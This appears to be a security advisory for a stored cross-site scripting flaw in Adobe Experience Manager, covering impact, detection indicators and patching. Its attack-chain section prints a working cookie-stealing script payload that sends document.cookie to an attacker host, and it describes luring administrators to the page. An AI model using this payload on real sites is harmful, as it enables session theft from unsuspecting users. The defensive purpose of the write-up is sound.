CVE-2025-64833: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64833 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and low privileges on the AEM instance. The changed scope indicator reflects that the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the attacker's own session (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to limited confidentiality and integrity impacts — such as session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or defacement of AEM-served content. The vulnerability does not directly impact availability. While the CVSS score is Medium, the stored nature of the XSS means any user visiting the compromised page is at risk, potentially including administrators whose elevated privileges could be leveraged for further compromise (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Authenticate with low privileges: Obtain or use existing low-privileged credentials to log into the AEM instance.
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS (e.g., content authoring interfaces, comment fields, or custom components).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (potentially an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, or use the victim's session to perform unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual data exfiltration patterns in proxy or firewall logs.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload, onclick) in stored AEM content nodes within the JCR repository.
• Process/Application: Unexpected JavaScript execution errors or CSP violation reports in AEM server logs or browser developer consoles related to inline scripts on AEM pages.

Adobe has released patches addressing CVE-2025-64833: AEM on-premises users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users are protected as of release 2025.12.0. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on affected instances (Adobe Advisory).

The vulnerability was noted in automated CVE tracking feeds and security aggregators (Vulners, CVEFeed, CIRCL) shortly after Adobe's December 9, 2025 advisory. Tenable published a Nessus detection plugin (278346) for the vulnerability. No significant researcher commentary, vendor statements beyond the official advisory, or notable media coverage has been identified for this specific CVE, which is consistent with its Medium severity rating and lack of active exploitation (Tenable, Adobe Advisory).